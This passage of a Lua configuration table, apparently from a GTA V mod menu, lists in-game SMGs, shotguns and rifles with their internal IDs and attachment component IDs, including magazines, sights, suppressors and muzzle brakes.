  2187. name = '~h~~r~> ~s~Tracer Rounds',
  2188. id = 'COMPONENT_SMG_MK2_CLIP_TRACER'
  2189. },
  2190. {
  2191. name = '~h~~r~> ~s~Incendiary Rounds',
  2192. id = 'COMPONENT_SMG_MK2_CLIP_INCENDIARY'
  2193. },
  2194. {
  2195. name = '~h~~r~> ~s~Hollow Point Rounds',
  2196. id = 'COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT'
  2197. },
  2198. {
  2199. name = '~h~~r~> ~s~FMJ Rounds',
  2200. id = 'COMPONENT_SMG_MK2_CLIP_FMJ'
  2201. }
  2202. },
  2203. Sights = {
  2204. {
  2205. name = '~h~~r~> ~s~Holograhpic Sight',
  2206. id = 'COMPONENT_AT_SIGHTS_SMG'
  2207. },
  2208. {
  2209. name = '~h~~r~> ~s~Small Scope',
  2210. id = 'COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2'
  2211. },
  2212. {
  2213. name = '~h~~r~> ~s~Medium Scope',
  2214. id = 'COMPONENT_AT_SCOPE_SMALL_SMG_MK2'
  2215. }
  2216. },
  2217. Flashlight = {
  2218. {
  2219. name = '~h~~r~> ~s~Flashlight',
  2220. id = 'COMPONENT_AT_AR_FLSH'
  2221. }
  2222. },
  2223. Barrel = {
  2224. {
  2225. name = '~h~~r~> ~s~Default',
  2226. id = 'COMPONENT_AT_SB_BARREL_01'
  2227. },
  2228. {
  2229. name = '~h~~r~> ~s~Heavy',
  2230. id = 'COMPONENT_AT_SB_BARREL_02'
  2231. }
  2232. },
  2233. BarrelAttachments = {
  2234. {
  2235. name = '~h~~r~> ~s~Suppressor',
  2236. id = 'COMPONENT_AT_PI_SUPP'
  2237. },
  2238. {
  2239. name = '~h~~r~> ~s~Flat Muzzle Brake',
  2240. id = 'COMPONENT_AT_MUZZLE_01'
  2241. },
  2242. {
  2243. name = '~h~~r~> ~s~Tactical Muzzle Brake',
  2244. id = 'COMPONENT_AT_MUZZLE_02'
  2245. },
  2246. {
  2247. name = '~h~~r~> ~s~Fat-End Muzzle Brake',
  2248. id = 'COMPONENT_AT_MUZZLE_03'
  2249. },
  2250. {
  2251. name = '~h~~r~> ~s~Precision Muzzle Brake',
  2252. id = 'COMPONENT_AT_MUZZLE_04'
  2253. },
  2254. {
  2255. name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
  2256. id = 'COMPONENT_AT_MUZZLE_05'
  2257. },
  2258. {
  2259. name = '~h~~r~> ~s~Slanted Muzzle Brake',
  2260. id = 'COMPONENT_AT_MUZZLE_06'
  2261. },
  2262. {
  2263. name = '~h~~r~> ~s~Split-End Muzzle Brake',
  2264. id = 'COMPONENT_AT_MUZZLE_07'
  2265. }
  2266. }
  2267. }
  2268. },
  2269. AssaultSMG = {
  2270. id = 'weapon_assaultsmg',
  2271. name = '~h~~r~> ~s~Assault SMG',
  2272. bInfAmmo = false,
  2273. mods = {
  2274. Magazines = {
  2275. {
  2276. name = '~h~~r~> ~s~Default Magazine',
  2277. id = 'COMPONENT_ASSAULTSMG_CLIP_01'
  2278. },
  2279. {
  2280. name = '~h~~r~> ~s~Extended Magazine',
  2281. id = 'COMPONENT_ASSAULTSMG_CLIP_02'
  2282. }
  2283. },
  2284. Sights = {
  2285. {
  2286. name = '~h~~r~> ~s~Scope',
  2287. id = 'COMPONENT_AT_SCOPE_MACRO'
  2288. }
  2289. },
  2290. Flashlight = {
  2291. {
  2292. name = '~h~~r~> ~s~Flashlight',
  2293. id = 'COMPONENT_AT_AR_FLSH'
  2294. }
  2295. },
  2296. BarrelAttachments = {
  2297. {
  2298. name = '~h~~r~> ~s~Suppressor',
  2299. id = 'COMPONENT_AT_AR_SUPP_02'
  2300. }
  2301. }
  2302. }
  2303. },
  2304. CombatPDW = {
  2305. id = 'weapon_combatpdw',
  2306. name = '~h~~r~> ~s~Combat PDW',
  2307. bInfAmmo = false,
  2308. mods = {
  2309. Magazines = {
  2310. {
  2311. name = '~h~~r~> ~s~Default Magazine',
  2312. id = 'COMPONENT_COMBATPDW_CLIP_01'
  2313. },
  2314. {
  2315. name = '~h~~r~> ~s~Extended Magazine',
  2316. id = 'COMPONENT_COMBATPDW_CLIP_02'
  2317. },
  2318. {
  2319. name = '~h~~r~> ~s~Drum Magazine',
  2320. id = 'COMPONENT_COMBATPDW_CLIP_03'
  2321. }
  2322. },
  2323. Sights = {
  2324. {
  2325. name = '~h~~r~> ~s~Scope',
  2326. id = 'COMPONENT_AT_SCOPE_SMALL'
  2327. }
  2328. },
  2329. Flashlight = {
  2330. {
  2331. name = '~h~~r~> ~s~Flashlight',
  2332. id = 'COMPONENT_AT_AR_FLSH'
  2333. }
  2334. },
  2335. Grips = {
  2336. {
  2337. name = '~h~~r~> ~s~Grip',
  2338. id = 'COMPONENT_AT_AR_AFGRIP'
  2339. }
  2340. }
  2341. }
  2342. },
  2343. MachinePistol = {
  2344. id = 'weapon_machinepistol',
  2345. name = '~h~~r~> ~s~Machine Pistol ',
  2346. bInfAmmo = false,
  2347. mods = {
  2348. Magazines = {
  2349. {
  2350. name = '~h~~r~> ~s~Default Magazine',
  2351. id = 'COMPONENT_MACHINEPISTOL_CLIP_01'
  2352. },
  2353. {
  2354. name = '~h~~r~> ~s~Extended Magazine',
  2355. id = 'COMPONENT_MACHINEPISTOL_CLIP_02'
  2356. },
  2357. {
  2358. name = '~h~~r~> ~s~Drum Magazine',
  2359. id = 'COMPONENT_MACHINEPISTOL_CLIP_03'
  2360. }
  2361. },
  2362. BarrelAttachments = {
  2363. {
  2364. name = '~h~~r~> ~s~Suppressor',
  2365. id = 'COMPONENT_AT_PI_SUPP'
  2366. }
  2367. }
  2368. }
  2369. },
  2370. MiniSMG = {
  2371. id = 'weapon_minismg',
  2372. name = '~h~~r~> ~s~Mini SMG',
  2373. bInfAmmo = false,
  2374. mods = {
  2375. Magazines = {
  2376. {
  2377. name = '~h~~r~> ~s~Default Magazine',
  2378. id = 'COMPONENT_MINISMG_CLIP_01'
  2379. },
  2380. {
  2381. name = '~h~~r~> ~s~Extended Magazine',
  2382. id = 'COMPONENT_MINISMG_CLIP_02'
  2383. }
  2384. }
  2385. }
  2386. },
  2387. UnholyHellbringer = {
  2388. id = 'weapon_raycarbine',
  2389. name = '~h~~r~> ~s~Unholy Hellbringer',
  2390. bInfAmmo = false,
  2391. mods = {}
  2392. }
  2393. },
  2394. Shotguns = {
  2395. PumpShotgun = {
  2396. id = 'weapon_pumpshotgun',
  2397. name = '~h~~r~> ~s~Pump Shotgun',
  2398. bInfAmmo = false,
  2399. mods = {
  2400. Flashlight = {
  2401. {
  2402. 'name = Flashlight',
  2403. id = 'COMPONENT_AT_AR_FLSH'
  2404. }
  2405. },
  2406. BarrelAttachments = {
  2407. {
  2408. name = '~h~~r~> ~s~Suppressor',
  2409. id = 'COMPONENT_AT_SR_SUPP'
  2410. }
  2411. }
  2412. }
  2413. },
  2414. PumpShotgunMkII = {
  2415. id = 'weapon_pumpshotgun_mk2',
  2416. name = '~h~~r~> ~s~Pump Shotgun Mk II',
  2417. bInfAmmo = false,
  2418. mods = {
  2419. Magazines = {
  2420. {
  2421. name = '~h~~r~> ~s~Default Shells',
  2422. id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_01'
  2423. },
  2424. {
  2425. name = '~h~~r~> ~s~Dragon Breath Shells',
  2426. id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY'
  2427. },
  2428. {
  2429. name = '~h~~r~> ~s~Steel Buckshot Shells',
  2430. id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING'
  2431. },
  2432. {
  2433. name = '~h~~r~> ~s~Flechette Shells',
  2434. id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT'
  2435. },
  2436. {
  2437. name = '~h~~r~> ~s~Explosive Slugs',
  2438. id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE'
  2439. }
  2440. },
  2441. Sights = {
  2442. {
  2443. name = '~h~~r~> ~s~Holograhpic Sight',
  2444. id = 'COMPONENT_AT_SIGHTS'
  2445. },
  2446. {
  2447. name = '~h~~r~> ~s~Small Scope',
  2448. id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
  2449. },
  2450. {
  2451. name = '~h~~r~> ~s~Medium Scope',
  2452. id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
  2453. }
  2454. },
  2455. Flashlight = {
  2456. {
  2457. name = '~h~~r~> ~s~Flashlight',
  2458. id = 'COMPONENT_AT_AR_FLSH'
  2459. }
  2460. },
  2461. BarrelAttachments = {
  2462. {
  2463. name = '~h~~r~> ~s~Suppressor',
  2464. id = 'COMPONENT_AT_SR_SUPP_03'
  2465. },
  2466. {
  2467. name = '~h~~r~> ~s~Squared Muzzle Brake',
  2468. id = 'COMPONENT_AT_MUZZLE_08'
  2469. }
  2470. }
  2471. }
  2472. },
  2473. SawedOffShotgun = {
  2474. id = 'weapon_sawnoffshotgun',
  2475. name = '~h~~r~> ~s~Sawed-Off Shotgun',
  2476. bInfAmmo = false,
  2477. mods = {}
  2478. },
  2479. AssaultShotgun = {
  2480. id = 'weapon_assaultshotgun',
  2481. name = '~h~~r~> ~s~Assault Shotgun',
  2482. bInfAmmo = false,
  2483. mods = {
  2484. Magazines = {
  2485. {
  2486. name = '~h~~r~> ~s~Default Magazine',
  2487. id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_01'
  2488. },
  2489. {
  2490. name = '~h~~r~> ~s~Extended Magazine',
  2491. id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_02'
  2492. }
  2493. },
  2494. Flashlight = {
  2495. {
  2496. name = '~h~~r~> ~s~Flashlight',
  2497. id = 'COMPONENT_AT_AR_FLSH'
  2498. }
  2499. },
  2500. BarrelAttachments = {
  2501. {
  2502. name = '~h~~r~> ~s~Suppressor',
  2503. id = 'COMPONENT_AT_AR_SUPP'
  2504. }
  2505. },
  2506. Grips = {
  2507. {
  2508. name = '~h~~r~> ~s~Grip',
  2509. id = 'COMPONENT_AT_AR_AFGRIP'
  2510. }
  2511. }
  2512. }
  2513. },
  2514. BullpupShotgun = {
  2515. id = 'weapon_bullpupshotgun',
  2516. name = '~h~~r~> ~s~Bullpup Shotgun',
  2517. bInfAmmo = false,
  2518. mods = {
  2519. Flashlight = {
  2520. {
  2521. name = '~h~~r~> ~s~Flashlight',
  2522. id = 'COMPONENT_AT_AR_FLSH'
  2523. }
  2524. },
  2525. BarrelAttachments = {
  2526. {
  2527. name = '~h~~r~> ~s~Suppressor',
  2528. id = 'COMPONENT_AT_AR_SUPP_02'
  2529. }
  2530. },
  2531. Grips = {
  2532. {
  2533. name = '~h~~r~> ~s~Grip',
  2534. id = 'COMPONENT_AT_AR_AFGRIP'
  2535. }
  2536. }
  2537. }
  2538. },
  2539. Musket = {
  2540. id = 'weapon_musket',
  2541. name = '~h~~r~> ~s~Musket',
  2542. bInfAmmo = false,
  2543. mods = {}
  2544. },
  2545. HeavyShotgun = {
  2546. id = 'weapon_heavyshotgun',
  2547. name = '~h~~r~> ~s~Heavy Shotgun',
  2548. bInfAmmo = false,
  2549. mods = {
  2550. Magazines = {
  2551. {
  2552. name = '~h~~r~> ~s~Default Magazine',
  2553. id = 'COMPONENT_HEAVYSHOTGUN_CLIP_01'
  2554. },
  2555. {
  2556. name = '~h~~r~> ~s~Extended Magazine',
  2557. id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02'
  2558. },
  2559. {
  2560. name = '~h~~r~> ~s~Drum Magazine',
  2561. id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02'
  2562. }
  2563. },
  2564. Flashlight = {
  2565. {
  2566. name = '~h~~r~> ~s~Flashlight',
  2567. id = 'COMPONENT_AT_AR_FLSH'
  2568. }
  2569. },
  2570. BarrelAttachments = {
  2571. {
  2572. name = '~h~~r~> ~s~Suppressor',
  2573. id = 'COMPONENT_AT_AR_SUPP_02'
  2574. }
  2575. },
  2576. Grips = {
  2577. {
  2578. name = '~h~~r~> ~s~Grip',
  2579. id = 'COMPONENT_AT_AR_AFGRIP'
  2580. }
  2581. }
  2582. }
  2583. },
  2584. DoubleBarrelShotgun = {
  2585. id = 'weapon_dbshotgun',
  2586. name = '~h~~r~> ~s~Double Barrel Shotgun',
  2587. bInfAmmo = false,
  2588. mods = {}
  2589. },
  2590. SweeperShotgun = {
  2591. id = 'weapon_autoshotgun',
  2592. name = '~h~~r~> ~s~Sweeper Shotgun',
  2593. bInfAmmo = false,
  2594. mods = {}
  2595. }
  2596. },
  2597. AssaultRifles = {
  2598. AssaultRifle = {
  2599. id = 'weapon_assaultrifle',
  2600. name = '~h~~r~> ~s~Assault Rifle',
  2601. bInfAmmo = false,
  2602. mods = {
  2603. Magazines = {
  2604. {
  2605. name = '~h~~r~> ~s~Default Magazine',
  2606. id = 'COMPONENT_ASSAULTRIFLE_CLIP_01'
  2607. },
  2608. {
  2609. name = '~h~~r~> ~s~Extended Magazine',
  2610. id = 'COMPONENT_ASSAULTRIFLE_CLIP_02'
  2611. },
  2612. {
  2613. name = '~h~~r~> ~s~Drum Magazine',
  2614. id = 'COMPONENT_ASSAULTRIFLE_CLIP_03'
  2615. }
  2616. },
  2617. Sights = {
  2618. {
  2619. name = '~h~~r~> ~s~Scope',
  2620. id = 'COMPONENT_AT_SCOPE_MACRO'
  2621. }
  2622. },
  2623. Flashlight = {
  2624. {
  2625. name = '~h~~r~> ~s~Flashlight',
  2626. id = 'COMPONENT_AT_AR_FLSH'
  2627. }
  2628. },
  2629. BarrelAttachments = {
  2630. {
  2631. name = '~h~~r~> ~s~Suppressor',
  2632. id = 'COMPONENT_AT_AR_SUPP_02'
  2633. }
  2634. },
  2635. Grips = {
  2636. {
  2637. name = '~h~~r~> ~s~Grip',
  2638. id = 'COMPONENT_AT_AR_AFGRIP'
  2639. }
  2640. }
  2641. }
  2642. },
  2643. AssaultRifleMkII = {
  2644. id = 'weapon_assaultrifle_mk2',
  2645. name = '~h~~r~> ~s~Assault Rifle Mk II',
  2646. bInfAmmo = false,
  2647. mods = {
  2648. Magazines = {
  2649. {
  2650. name = '~h~~r~> ~s~Default Magazine',
  2651. id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_01'
  2652. },
  2653. {
  2654. name = '~h~~r~> ~s~Extended Magazine',
  2655. id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_02'
  2656. },
  2657. {
  2658. name = '~h~~r~> ~s~Tracer Rounds',
  2659. id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER'
  2660. },
  2661. {
  2662. name = '~h~~r~> ~s~Incendiary Rounds',
  2663. id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY'
  2664. },
  2665. {
  2666. name = '~h~~r~> ~s~Hollow Point Rounds',
  2667. id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING'
  2668. },
  2669. {
  2670. name = '~h~~r~> ~s~FMJ Rounds',
  2671. id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ'
  2672. }
  2673. },
  2674. Sights = {
  2675. {
  2676. name = '~h~~r~> ~s~Holograhpic Sight',
  2677. id = 'COMPONENT_AT_SIGHTS'
  2678. },
  2679. {
  2680. name = '~h~~r~> ~s~Small Scope',
  2681. id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
  2682. },
  2683. {
  2684. name = '~h~~r~> ~s~Large Scope',
  2685. id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
  2686. }
  2687. },
  2688. Flashlight = {
  2689. {
  2690. name = '~h~~r~> ~s~Flashlight',
  2691. id = 'COMPONENT_AT_AR_FLSH'
  2692. }
  2693. },
  2694. Barrel = {
  2695. {
  2696. name = '~h~~r~> ~s~Default',
  2697. id = 'COMPONENT_AT_AR_BARREL_01'
  2698. },
  2699. {
  2700. name = '~h~~r~> ~s~Heavy',
  2701. id = 'COMPONENT_AT_AR_BARREL_0'
  2702. }
  2703. },
  2704. BarrelAttachments = {
  2705. {
  2706. name = '~h~~r~> ~s~Suppressor',
  2707. id = 'COMPONENT_AT_AR_SUPP_02'
  2708. },
  2709. {
  2710. name = '~h~~r~> ~s~Flat Muzzle Brake',
  2711. id = 'COMPONENT_AT_MUZZLE_01'
  2712. },
  2713. {
  2714. name = '~h~~r~> ~s~Tactical Muzzle Brake',
  2715. id = 'COMPONENT_AT_MUZZLE_02'
  2716. },
  2717. {
  2718. name = '~h~~r~> ~s~Fat-End Muzzle Brake',
  2719. id = 'COMPONENT_AT_MUZZLE_03'
  2720. },
  2721. {
  2722. name = '~h~~r~> ~s~Precision Muzzle Brake',
  2723. id = 'COMPONENT_AT_MUZZLE_04'
  2724. },
  2725. {
  2726. name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
  2727. id = 'COMPONENT_AT_MUZZLE_05'
  2728. },
  2729. {
  2730. name = '~h~~r~> ~s~Slanted Muzzle Brake',
  2731. id = 'COMPONENT_AT_MUZZLE_06'
  2732. },
  2733. {
  2734. name = '~h~~r~> ~s~Split-End Muzzle Brake',
  2735. id = 'COMPONENT_AT_MUZZLE_07'
  2736. }
  2737. },
  2738. Grips = {
  2739. {
  2740. name = '~h~~r~> ~s~Grip',
  2741. id = 'COMPONENT_AT_AR_AFGRIP_02'
  2742. }
  2743. }
  2744. }
  2745. },
  2746. CarbineRifle = {
  2747. id = 'weapon_carbinerifle',
  2748. name = '~h~~r~> ~s~Carbine Rifle',
  2749. bInfAmmo = false,
  2750. mods = {
  2751. Magazines = {
  2752. {
  2753. name = '~h~~r~> ~s~Default Magazine',
  2754. id = 'COMPONENT_CARBINERIFLE_CLIP_01'
  2755. },
  2756. {
  2757. name = '~h~~r~> ~s~Extended Magazine',
  2758. id = 'COMPONENT_CARBINERIFLE_CLIP_02'
  2759. },
  2760. {
  2761. name = '~h~~r~> ~s~Box Magazine',
  2762. id = 'COMPONENT_CARBINERIFLE_CLIP_03'
  2763. }
  2764. },
  2765. Sights = {
  2766. {
  2767. name = '~h~~r~> ~s~Scope',
  2768. id = 'COMPONENT_AT_SCOPE_MEDIUM'
  2769. }
  2770. },
  2771. Flashlight = {
  2772. {
  2773. name = '~h~~r~> ~s~Flashlight',
  2774. id = 'COMPONENT_AT_AR_FLSH'
  2775. }
  2776. },
  2777. BarrelAttachments = {
  2778. {
  2779. name = '~h~~r~> ~s~Suppressor',
  2780. id = 'COMPONENT_AT_AR_SUPP'
  2781. }
  2782. },
  2783. Grips = {
  2784. {
  2785. name = '~h~~r~> ~s~Grip',
  2786. id = 'COMPONENT_AT_AR_AFGRIP'
  2787. }
  2788. }
  2789. }
  2790. },
  2791. CarbineRifleMkII = {
  2792. id = 'weapon_carbinerifle_mk2',
  2793. name = '~h~~r~> ~s~Carbine Rifle Mk II ',
  2794. bInfAmmo = false,
  2795. mods = {
  2796. Magazines = {
  2797. {
  2798. name = '~h~~r~> ~s~Default Magazine',
  2799. id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_01'
  2800. },
  2801. {
  2802. name = '~h~~r~> ~s~Extended Magazine',
  2803. id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_02'
  2804. },
  2805. {
  2806. name = '~h~~r~> ~s~Tracer Rounds',
  2807. id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER'
  2808. },
  2809. {
  2810. name = '~h~~r~> ~s~Incendiary Rounds',
  2811. id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY'
  2812. },
  2813. {
  2814. name = '~h~~r~> ~s~Hollow Point Rounds',
  2815. id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING'
  2816. },
  2817. {
  2818. name = '~h~~r~> ~s~FMJ Rounds',
  2819. id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ'
  2820. }
  2821. },
  2822. Sights = {
  2823. {
  2824. name = '~h~~r~> ~s~Holograhpic Sight',
  2825. id = 'COMPONENT_AT_SIGHTS'
  2826. },
  2827. {
  2828. name = '~h~~r~> ~s~Small Scope',
  2829. id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
  2830. },
  2831. {
  2832. name = '~h~~r~> ~s~Large Scope',
  2833. id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
  2834. }
  2835. },
  2836. Flashlight = {
  2837. {
  2838. name = '~h~~r~> ~s~Flashlight',
  2839. id = 'COMPONENT_AT_AR_FLSH'
  2840. }
  2841. },
  2842. Barrel = {
  2843. {
  2844. name = '~h~~r~> ~s~Default',
  2845. id = 'COMPONENT_AT_CR_BARREL_01'
  2846. },
  2847. {
  2848. name = '~h~~r~> ~s~Heavy',
  2849. id = 'COMPONENT_AT_CR_BARREL_02'
  2850. }
  2851. },
  2852. BarrelAttachments = {
  2853. {
  2854. name = '~h~~r~> ~s~Suppressor',
  2855. id = 'COMPONENT_AT_AR_SUPP'
  2856. },
  2857. {
  2858. name = '~h~~r~> ~s~Flat Muzzle Brake',
  2859. id = 'COMPONENT_AT_MUZZLE_01'
  2860. },
  2861. {
  2862. name = '~h~~r~> ~s~Tactical Muzzle Brake',
  2863. id = 'COMPONENT_AT_MUZZLE_02'
  2864. },
  2865. {
  2866. name = '~h~~r~> ~s~Fat-End Muzzle Brake',
  2867. id = 'COMPONENT_AT_MUZZLE_03'
  2868. },
  2869. {
  2870. name = '~h~~r~> ~s~Precision Muzzle Brake',
  2871. id = 'COMPONENT_AT_MUZZLE_04'
  2872. },
  2873. {
  2874. name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
  2875. id = 'COMPONENT_AT_MUZZLE_05'
  2876. },
  2877. {
  2878. name = '~h~~r~> ~s~Slanted Muzzle Brake',
  2879. id = 'COMPONENT_AT_MUZZLE_06'
  2880. },
  2881. {
  2882. name = '~h~~r~> ~s~Split-End Muzzle Brake',
  2883. id = 'COMPONENT_AT_MUZZLE_07'
  2884. }
  2885. },
  2886. Grips = {
  2887. {
  2888. name = '~h~~r~> ~s~Grip',
  2889. id = 'COMPONENT_AT_AR_AFGRIP_02'
  2890. }
  2891. }
  2892. }
  2893. },
  2894. AdvancedRifle = {
  2895. id = 'weapon_advancedrifle',
  2896. name = '~h~~r~> ~s~Advanced Rifle ',
  2897. bInfAmmo = false,
  2898. mods = {
  2899. Magazines = {
  2900. {
  2901. name = '~h~~r~> ~s~Default Magazine',
  2902. id = 'COMPONENT_ADVANCEDRIFLE_CLIP_01'
  2903. },
  2904. {
  2905. name = '~h~~r~> ~s~Extended Magazine',
  2906. id = 'COMPONENT_ADVANCEDRIFLE_CLIP_02'
  2907. }
  2908. },
  2909. Sights = {
  2910. {
  2911. name = '~h~~r~> ~s~Scope',
  2912. id = 'COMPONENT_AT_SCOPE_SMALL'
  2913. }
  2914. },
  2915. Flashlight = {
  2916. {
  2917. name = '~h~~r~> ~s~Flashlight',
  2918. id = 'COMPONENT_AT_AR_FLSH'
  2919. }
  2920. },
  2921. BarrelAttachments = {
  2922. {
  2923. name = '~h~~r~> ~s~Suppressor',
  2924. id = 'COMPONENT_AT_AR_SUPP'
  2925. }
  2926. }
  2927. }
  2928. },
  2929. SpecialCarbine = {
  2930. id = 'weapon_specialcarbine',
  2931. name = '~h~~r~> ~s~Special Carbine',
  2932. bInfAmmo = false,
  2933. mods = {
  2934. Magazines = {
  2935. {
  2936. name = '~h~~r~> ~s~Default Magazine',
  2937. id = 'COMPONENT_SPECIALCARBINE_CLIP_01'
  2938. },
  2939. {
  2940. name = '~h~~r~> ~s~Extended Magazine',
  2941. id = 'COMPONENT_SPECIALCARBINE_CLIP_02'
  2942. },
  2943. {
  2944. name = '~h~~r~> ~s~Drum Magazine',
  2945. id = 'COMPONENT_SPECIALCARBINE_CLIP_03'
  2946. }
  2947. },
  2948. Sights = {
  2949. {
  2950. name = '~h~~r~> ~s~Scope',
  2951. id = 'COMPONENT_AT_SCOPE_MEDIUM'
  2952. }
  2953. },
  2954. Flashlight = {
  2955. {
  2956. name = '~h~~r~> ~s~Flashlight',
  2957. id = 'COMPONENT_AT_AR_FLSH'
  2958. }
  2959. },
  2960. BarrelAttachments = {
  2961. {
  2962. name = '~h~~r~> ~s~Suppressor',
  2963. id = 'COMPONENT_AT_AR_SUPP_02'
  2964. }
  2965. },
  2966. Grips = {
  2967. {
  2968. name = '~h~~r~> ~s~Grip',
  2969. id = 'COMPONENT_AT_AR_AFGRIP'
  2970. }
  2971. }
  2972. }
  2973. },
  2974. SpecialCarbineMkII = {
  2975. id = 'weapon_specialcarbine_mk2',
  2976. name = '~h~~r~> ~s~Special Carbine Mk II',
  2977. bInfAmmo = false,
  2978. mods = {
  2979. Magazines = {
  2980. {
  2981. name = '~h~~r~> ~s~Default Magazine',
  2982. id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_01'
  2983. },
  2984. {
  2985. name = '~h~~r~> ~s~Extended Magazine',
  2986. id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_02'
  2987. },
  2988. {
  2989. name = '~h~~r~> ~s~Tracer Rounds',
  2990. id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER'
  2991. },
  2992. {
  2993. name = '~h~~r~> ~s~Incendiary Rounds',
  2994. id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY'
  2995. },
  2996. {
  2997. name = '~h~~r~> ~s~Hollow Point Rounds',
  2998. id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING'
  2999. },
  3000. {
  3001. name = '~h~~r~> ~s~FMJ Rounds',
  3002. id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ'
  3003. }
  3004. },
  3005. Sights = {
  3006. {
  3007. name = '~h~~r~> ~s~Holograhpic Sight',
  3008. id = 'COMPONENT_AT_SIGHTS'
  3009. },
  3010. {
  3011. name = '~h~~r~> ~s~Small Scope',
  3012. id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
  3013. },
  3014. {
  3015. name = '~h~~r~> ~s~Large Scope',
  3016. id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
  3017. }
  3018. },
  3019. Flashlight = {
  3020. {
  3021. name = '~h~~r~> ~s~Flashlight',
  3022. id = 'COMPONENT_AT_AR_FLSH'
  3023. }
  3024. },
  3025. Barrel = {
  3026. {
  3027. name = '~h~~r~> ~s~Default',
  3028. id = 'COMPONENT_AT_SC_BARREL_01'
  3029. },
  3030. {
  3031. name = '~h~~r~> ~s~Heavy',
  3032. id = 'COMPONENT_AT_SC_BARREL_02'
  3033. }
  3034. },
  3035. BarrelAttachments = {
  3036. {
  3037. name = '~h~~r~> ~s~Suppressor',
  3038. id = 'COMPONENT_AT_AR_SUPP_02'
  3039. },
  3040. {
  3041. name = '~h~~r~> ~s~Flat Muzzle Brake',
  3042. id = 'COMPONENT_AT_MUZZLE_01'
  3043. },
  3044. {
  3045. name = '~h~~r~> ~s~Tactical Muzzle Brake',
  3046. id = 'COMPONENT_AT_MUZZLE_02'
  3047. },
  3048. {
  3049. name = '~h~~r~> ~s~Fat-End Muzzle Brake',
  3050. id = 'COMPONENT_AT_MUZZLE_03'
  3051. },
  3052. {
  3053. name = '~h~~r~> ~s~Precision Muzzle Brake',
  3054. id = 'COMPONENT_AT_MUZZLE_04'
  3055. },
  3056. {
  3057. name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
  3058. id = 'COMPONENT_AT_MUZZLE_05'
  3059. },
  3060. {
  3061. name = '~h~~r~> ~s~Slanted Muzzle Brake',
  3062. id = 'COMPONENT_AT_MUZZLE_06'
  3063. },
  3064. {
  3065. name = '~h~~r~> ~s~Split-End Muzzle Brake',
  3066. id = 'COMPONENT_AT_MUZZLE_07'
  3067. }
  3068. },
  3069. Grips = {
  3070. {
  3071. name = '~h~~r~> ~s~Grip',
  3072. id = 'COMPONENT_AT_AR_AFGRIP_02'
  3073. }
  3074. }
  3075. }
  3076. },
  3077. BullpupRifle = {
  3078. id = 'weapon_bullpuprifle',
  3079. name = '~h~~r~> ~s~Bullpup Rifle',
  3080. bInfAmmo = false,
  3081. mods = {
  3082. Magazines = {
  3083. {
  3084. name = '~h~~r~> ~s~Default Magazine',
  3085. id = 'COMPONENT_BULLPUPRIFLE_CLIP_01'
  3086. },
  3087. {
  3088. name = '~h~~r~> ~s~Extended Magazine',
  3089. id = 'COMPONENT_BULLPUPRIFLE_CLIP_02'
  3090. }
  3091. },
  3092. Sights = {
  3093. {
  3094. name = '~h~~r~> ~s~Scope',
  3095. id = 'COMPONENT_AT_SCOPE_SMALL'
  3096. }
  3097. },
  3098. Flashlight = {
  3099. {
  3100. name = '~h~~r~> ~s~Flashlight',
  3101. id = 'COMPONENT_AT_AR_FLSH'
  3102. }
  3103. },
  3104. BarrelAttachments = {
  3105. {
  3106. name = '~h~~r~> ~s~Suppressor',
  3107. id = 'COMPONENT_AT_AR_SUPP'
  3108. }
  3109. },
  3110. Grips = {
  3111. {
  3112. name = '~h~~r~> ~s~Grip',
  3113. id = 'COMPONENT_AT_AR_AFGRIP'
  3114. }
  3115. }
  3116. }
  3117. },
  3118. BullpupRifleMkII = {
  3119. id = 'weapon_bullpuprifle_mk2',
  3120. name = '~h~~r~> ~s~Bullpup Rifle Mk II',
  3121. bInfAmmo = false,
  3122. mods = {
  3123. Magazines = {
  3124. {
  3125. name = '~h~~r~> ~s~Default Magazine',
  3126. id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_01'
  3127. },
  3128. {
  3129. name = '~h~~r~> ~s~Extended Magazine',
  3130. id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_02'
  3131. },
  3132. {
  3133. name = '~h~~r~> ~s~Tracer Rounds',
